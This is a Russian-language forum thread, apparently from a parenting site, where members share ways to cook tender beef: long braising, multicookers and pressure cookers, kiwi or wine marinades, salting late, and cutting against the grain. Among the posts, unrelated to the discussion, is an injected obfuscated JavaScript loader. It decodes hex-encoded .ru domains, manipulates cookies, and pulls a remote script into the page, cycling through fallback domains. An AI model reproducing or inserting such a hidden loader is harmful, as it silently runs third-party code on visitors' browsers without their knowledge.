Москва
Говядина мягкой у меня получается только в духовке. Если куском запекать в рукаве или фольге. В любом ином виде - резиновая. Вкусная, но не жуется. Девочки, поделитесь секретом, как сделать говядину мягкой. Как вы готовите?
PS. Всем спасибо за кучу секретов. Пошла экспериментировать.
Санкт-Галлен
а, вот ещё что вспомнила. родственники мужа говорят, что мол в скороварке оч быстро и вкусн получаетса. эта такая кастрjuля, вроде ничего особенного. но там крышка особенная, с какими то дополнителными замками. оч герметичня. открыват во время процесса нелзья иначе ожогов не избежат (вот этого и боюс поэтому ен покупаю).
Они сейчас есть электрические. Чтоб спустить пар поворачиваешь клапан и все. Оч простая в управлении, как мультиварка
Москва
не, скороварка - не вариант. я люблю поколдовать в процессе с приправами...
Про вас я поняла, что поколдовать. Я Олюне написала. Она пишет, что боится обжечься.
Москва
А кто вам в скороварке запрещает колдовать ? Положили приправы сразу и усе.. Или замариновали заранее с приправами.. Зато нежнейшая говядина за 45 минут.
Москва
не, колдовать - это каждую приправу в свое время и обязательно пробовать в процессе. Вдруг еще что-нибудь в голову придет...
Москва
.. В мультиварке-скороварке часто блюда вкуснее гораздо получаются, что и по тому же рецепту, но в горшочке-кастрюле.. Я как мультю купила- горшочками, казанами вообще не пользуюсь.. Но тут конечно каждому свое..
Мюнхен
Санкт-Галлен
видиш, мы тут всё так по простому.. :-) а ты подскажи - вот как потушит гуляш из говядины купленный в АЛДИ? ну всегда!!!!! трудно прожёвываемый ..... там о частях тела на сказано :-) просто нарезан кусками.
Мюнхен
Мюнхен
добавлю.
а е сть же еще например Braten, там вообще все по другому (когда огроменный кусок килограмма на два три маринуешь и в духовку). Там от часа до двух трех в зависомости от размера и желаемой сочности. тут опыт нужен - тут тебе никто точно не посоветует скольько и как, надо самой пробывать.
так что ты видишь говядина говядине рознь. Там столько рецептов и везде разные части тела и равное время соответсвенно.
Санкт-Галлен
спасибо!!!!!!!!!! вот это посоветовала!!!!!!! ты молодец!!!!!!!!!! тебя ещё мама- бабушка научили или сама руку набила? я как то очен редко делаю. а хочетса научитса! ещё говорят такой вариант как Niedergaren вкусно получаетса. подкин свой рецепт насчёт Braten. какой маринад? и с какой tемпературой попробоват начат?
Мюнхен
Да сама как то с годами. Просто очень много делаю из говядины благо в Германии можно купить разные виды и хорошего качества. Garen bei niedrigen Temperaturen это только для филкйной части. Отдельная тема. Что бы это правильно сделать надо с своей жизни приготовить много филе))))) это опыт надо))) А рецептов Rinderbraten до фига и больше. Их можно как угодно маринованныъ. Там дело не в маринованныъ а в том как правильно и долго ты его в духовке держишь и какую сочность тебе надо. Стандартный кусок на 1 кг пр 180-200 обычно час. Но как сказать тут надо опыт. Я уже знаю по виду какой он у меня внутри делаю все по чутюг. Я бы на твоем месте поискал рецепт мариновкой на твой вкус. Стандартный например чеснок мед горчица французская соль перец травы розмарин и тимьян нарезанные. Всем этим смазываешь обильно и держишь пара часов. Образется при запекания корочка. Внутри должно быть розовым. Попробуй. Правильно сказали мраморная говядина вкуснее но и дороже. Я домой приду тебе фотку выставлю примера
Наро-Фоминск
Я люблю рецепт Марины Мандарины "Говядина в пиве""..такая вкуснющая. А еще по такому же принципу тушу с крупно порезанными овощами
Наро-Фоминск
Москва
блин, я так чувствую, что если куплю мультю, то только для того, чтоб говядину готовить.... (((
Нижнекамск
Честно говоря, я как правило только говядину там и готовлю)) Даже говяжий фарш для макарон по-флотски там тушу.
Москва
я пока не готова... на моей пятиметровой кухне-кабинете не могу пока найти ей место.
Москва
я тоже хотела сначала. у меня дома, где я выросла, кухня-столовая была 30 метров. Красота! Сначала сильно тесно мне было, потом убрали все лишнее, и я оценила: можно до всего дотянуться, не вставая с табуретки. Кайф! а когда ребенок родился, на нашей кухне волшебным образом 12 человек разместились. до сих пор не понимаю, как...
Санкт-Галлен
а у нас так всегда в москве в центре было! мама там с детства жила, на 5 метр кухне :-) она с детства и до сих пор, я со своего детства. сама квартира достаточн просторная а вот кухонка маленкая. НО! гости всегда роятса там тк тепло и уютно. и тоже как у вас - сидя на табуретке можно и чайник включит, и в холодилник заглянут, и до хлебницы достать итд :-)
Москва
Я в мультиварке и тушёнку делаю из говядины. Очень вкусно, люблю её в супы с капустой добавлять.
В мутиварке готовлю так: у меня уже заморожена порезанная кусочками говядина, прямо брикетом и кидаю на тушение на 2-2,5 часа. Можно добавить воду, можно не добавлять. Потом по итогу добавляю соль, специи, зажарку, сметану, томатную пасту. Перемешиваю, даю настояться минут 5 и можно подавать.
Если духовка электро, думаю можно подобрать аналог тушения в мутиварке: градусов около 100, может чуть меньше и посудина толстостенная с крышкой.
Ещё можно использовать термометр для мяса, в интернете есть таблицы готовности мяса. Но я больше люблю в подливе, чем просто обжаренное на сковороде.
Петропавловск-Камчатский
Блин, удивляюсь тушению 2 2,5 часа, у меня по 5 по 6 часов тушится в мультиварке, только тогда мягкая, режу на мягкие кусочки...
Москва
эммм... меня просто в принципе столько времени дома не бывает... и при всей моей любви к готовке, я не готова на приготовление ужина тратить больше 2 часов. Исключение - только томленые щи, которые 6 часов томятся в духовке. но с ними ничего делать вообще не надо.
Петропавловск-Камчатский
Мы говядину редко готовим именно из-за этого, что долго готовить...сама уже голову сломала, как же быстро сделать... И обжариваю сначала, и мелко режу, а меньше времени не получается готовить, для меня это мука готовить говядину.... Как же у других получается, что же я не так делаю (((((
Санкт-Петербург
Я ничего не делаю. Режу на кусочки, добавляю сметану, воду,специи и 2-2.5 часа в мультиварку
Москва
От качества мяса еще зависит. Мраморная говядина очень нежная и готовится быстрее..
Мюнхен
Самара
Я готовлю только из говядины и муж любит только мягкое.Секрет только один тушить или пожарить, потом потушить, как любите в общем, нужно 2.5 часа, можно и 2, но тут по мясу смотрите и будет мягким.Еще мой любимый рецепт в горшочек с картофелем и маслицем ( овощи по вкусу) на 2.5 часа 180-200 градусов очень вкусно и без проблем.
Москва
да, в горшочках тоже делаю. но вот удивительно: в горшочках за час у меня мягкое получается. Я подозреваю, что помидоры размягчают.
Санкт-Галлен
а я читала что как раз кислота томатов замедляет процессс. я думаю дело в количсетве. одно дело - в болшой сковороде а другое дело в маленких горхсочках, наверное лучхе прогреваетса ,маленкое количество.
Покупаете вырезку. Режете на большие порционные куски, не тонкие, получается кусок в толщину вырезки в длину см 7. Смазываете маслом растительным. Жарите 1-2 минуты на сильном огне. Затем ставите в духовку на 200 градусов на 12 минут! 15 минут будет полная прожарках уже жёстче. Достаете, накрываете крышкой, солите и даёте мясу немного отдохнуть. Можно сверху положить розмарин и раздавленный чеснок. Ещё к мясу можно сделать зеленое масло. Смешать мелко порубленную зелень (базилик, Петрушка, розмарин) с чесноком и маслом, убрать в холодильник, чтоб застыло. Потом кладёте масло на тёплое мяско, оно тает и придаёт мясу потрясающий вкус. На фото я запекала с картофелем. Картофель, запекается в духовку дольше (30 мин), мясо добавляется в последние 12 минут.
Красногорск
Вот ингридиенты для маринадов, которые размягчают любое мясо
а) фруктовые кислоты (сок лимона, апельсина, киви)
б) кисломолочные продукты)
в) лук, чеснок
г) крахмал - такой вот необычный способ, но наверное потом лучше сполоснуть, тк крахмал хоть дает обалденную корочку, но мясо пропечся может не успеть.
д) сода (но она делает мясо дряблым, не волокнистым, совсем структуру разрушает)
е) пиво, коньяк, водка
а так вообще говядину готовлю редко и в основном на супы, из супа достаю и на шаурму и проч. запекали тоже, вкусно, но как то без фанатизма.
Свинина мне больше нравится для запекания.
Москва
Санкт-Галлен
вкусно как звучит!!!!!!! у анс такое стОит баснословных денег, поейтому филе практически не покупаем....
Киров
элементарно ,просто готовить 2 часа,потому что она столько и готовится )))
Павловский Посад
ВСЕ ОЧЕНЬ ПРОСТО! Покупайте мраморную говядину от Мираторга стейки по 2 мин с каждой стороны обжарка .Гуляш за 20 мин (голяшка или грудинка)
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20656",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
Москва
Я тушу с луком, моим очень нравится. Говядину для этого блюда не обязательно покупать в виде филе, отлично подойдёт недорогой кусочек, в котором присутствуют небольшие жилки, во время долгого тушения они как бы желируются (не могу правильно выразить словами)). Рецепт: я люблю делать в мультиварке. Режем небольшими кусочками говядину, репчатый лук , добавляем любимые специи, соль, чуть-чуть воды и ставим на тушение на 2 - 4 часа. Если хотите, лук модно обжарить.
Вильнюс
все зависит от мяса, от какой части коровки и как хочется приготовить.
Если делать гуляш и хочется сделать не резиновый, то либо купить нарезку для гуляша. Либо грудинку или кусочек с задней ноги. Так вот: 1. резать надо поперек волокон, а не вдоль (чтобы у вас получались коротенькие волокна). Так легче жевать. 2. Добавить немного сахара при готовке - это делает ее более мягкой и нежной.
Кстати, возможно будут полезными мясные рецепты Джейми Оливера, сама его недавно открыла для себя и готовила ростбиф - нямка! 
Монреаль
Не пережаривать, солить только после. Готовить на сильном огне и быстро.
Санкт-Галлен
ну это смотря какие куски. у нас например можно купит тонкие дорогие кусочки на которых так и написано - для быстрой готовки. а ещё продаютса куски квадратики для гуляша... так вот их можно и по 3 часа тушит - ну никак.....
Монреаль
Гуляш я тоже тушу по 3 часа, пока мясо на волокна не начнёт распадаться...
Москва
про солить после - знаю, муж рассказал. Для любого мяса актуально. а вот быстро почему-то не получается... все равно получается жесткая, даже если на срезе как в ресторане прожарки медиум...
Грозный
Я делаю так: разделываю мясо на небольшие кусочки 3/5 см, промываю и, примерно 1 кг мяса заливаю 0.5 л воды, и тушу под крышкой 1-1.5 часа на мееедленном огне, если вода выпарилась и мясо еще жестковато, доливаю чуточку кипятка (не холодную воду), затем солю и добавляю масло для жарки. Если мясо жирное, то масла может не потребоваться (например, жирная баранина). Если посолить в начале-мясо становится резиновым. Делаю так мясо в чугунной сковороде. И сухожилия и прочее не вырезаю, они размягчаются в процессе готовки.
Москва
видимо, надо дольше тушить... я около часа тушу.тоже в чугунной сковороде.
Донецк
всегда готовлю долго, и в процессе тушения добавляю маргарин))) Говядина получается нежная. А еще запекаю в духовке (в фольге)...муж пальчики облизывает
Санкт-Галлен
вот здес пожалуйста с подробностями .-) очен хочу попробоват в дховке и чтоб ещё не сухо, а сочно и вкусно получилос, и чтоб жевалос :-)
Донецк
Итак, берем кусок мяса, прокалываем его ножом, но не сверху, а как бы насквозь. В отверстия кладе чеснок и маринуем. Маринад: Соль, специи, травки ( типа " Итальянские травы" ничего особенного можно заменить любыми), лимонный сок-1ст.л, вино белое- 1-2ст.л, и масло оливковое (я беру подсолнечное) -1ст.л. Смешиваем и смазываем мясо. Оставляем на 2-3 часа, можно сутки в холодильнике. А потом заворачиваем в фольгу и в духовку. темп-ру сначала делаю высокую(где-то 15 мин), а потом на медленном огне 1-1,5 часа. Перед окончанием времени, можно сделать надрез в фольге и проверить готовность мяса. P.S вино и лимонный сок использую не всегда)) 
ну если запечь вырезку (или миньон), она получится мягкой 100%, долго не надо запекать.
Новосибирск
В мультиварке сначала обжариваю насухую, чтоб сок выпустила. Потом лук и масло. И на тушение на 1.5 часа
Одесса
Я всегда готовлю 1,5 часа говядину. Что варю, что тушу. Если битки, то хорошо отбить надо. Может конечно еще от мяса зависеть.
Москва
Я готовлю в мультиварке: режим тушение час-полтора, получается с подливкой очень сочное.
Санкт-Галлен
очен животрепещущая тема. мне тоже будет интересно узнать советы!
Санкт-Галлен
у меня было раsxождение мнений с мужем.. он говорил, что я не умeю готовить.... а от его же сетсры как то услышала мол ой, опjaть неудачное мясо купило, жёсткое! вот так. то думаеш у самой руки-krüki, а оказываетса - важно насколко его хорошо хранили до продажи. я слышала что оно должно немного полежат но при правилных условиях, конечно... вот зачастую тушу говядину по 2 часа и дольше... и всё равно потом без зубочистки никак... и всего пару раз попалос такое мясо, что после 1 часа готовки было нежнейшее!
ааа и еще, как человек который очень любит говядину могу сказать что лучше всего покупать шейку говяжью, я беру прям самый большой кусок на кости, там где кость на суп, а мякоть на тушение!
Все что вырезка и мякоть, все равно будет суховато ( мое ИМХО)
после того я купила мультиварку скороварку, говядину делаю только там) 30 минут на режиме высокое давление и уфсеее, мягкая аж рассыпается) а если еще с черносливом, так вообще нямки)
теперь только в мульти делаю
Мурманск
Гуляш делаю из говядины в мультиварке
говядину режу на тоненькие полосочки
лук, морковку обжариваю, томатную пасту добавляю, доливаю воды, закладываю говядину и включаю часа на 2, очень мягкое мясо получается
Санкт-Петербург
если вы варите,тушите то надо минимум 2 часа чтобы она стала мягкой.а лучше все 3. Тушите 2,5 часа ,затем картофель добавляете .
Москва
ага. спасибо буду дольше тушить. думала, что часа для небольших кусочков достаточно. но, как выясняется, нет.
Санкт-Петербург
Я в скороварке делаю, всегда мягкая. А для жарки можно замариновать в киви кусок, тогда мясо будет мягким. Ну и шницели в сухарях или кляре всегда мягкие
Сначала обжариваю, потом тушу в кострюлу с луком, морковью. Тушу как мягкая не станет. И делаю мясо по французски. Только на протвень можно немного сало добавить, чтобы не сухое мясо было.
говядина по своей структуре сухая и волокнистая,лучше брать свинину,ну или молодую телятину,а если корова старая,то и мясо у нее жесткое и не вкусное.
Москва
это да, свинина у меня идеально получается. Телятину не покупаем, ее гормонами колют нынче. Но хочется все-таки и говядину научиться готовить. У девушки брата всегда идеально получается, хотя покупаем в одном месте.
Москва
Люди, я в шоке! Готовлю говядину по 6-7 минут в Мультипечи (типа аэрогриля) ! Мягкая, с кровью))))
Москва
В духовке запекала с картошкой час примерно,но перед этим говядину мариновала с киви 1 час,получилось просто супер,мясо во рту тает.
Гуляш долго тушу, часа 2, варю тоже не меньше,если в супе. Говорили, что надо брать заднюю часть, "яблочко" .
Москва
Я готовлю говядину только в мультиварке, всегда мягкая. По другому не умею тоже резиновая выходит
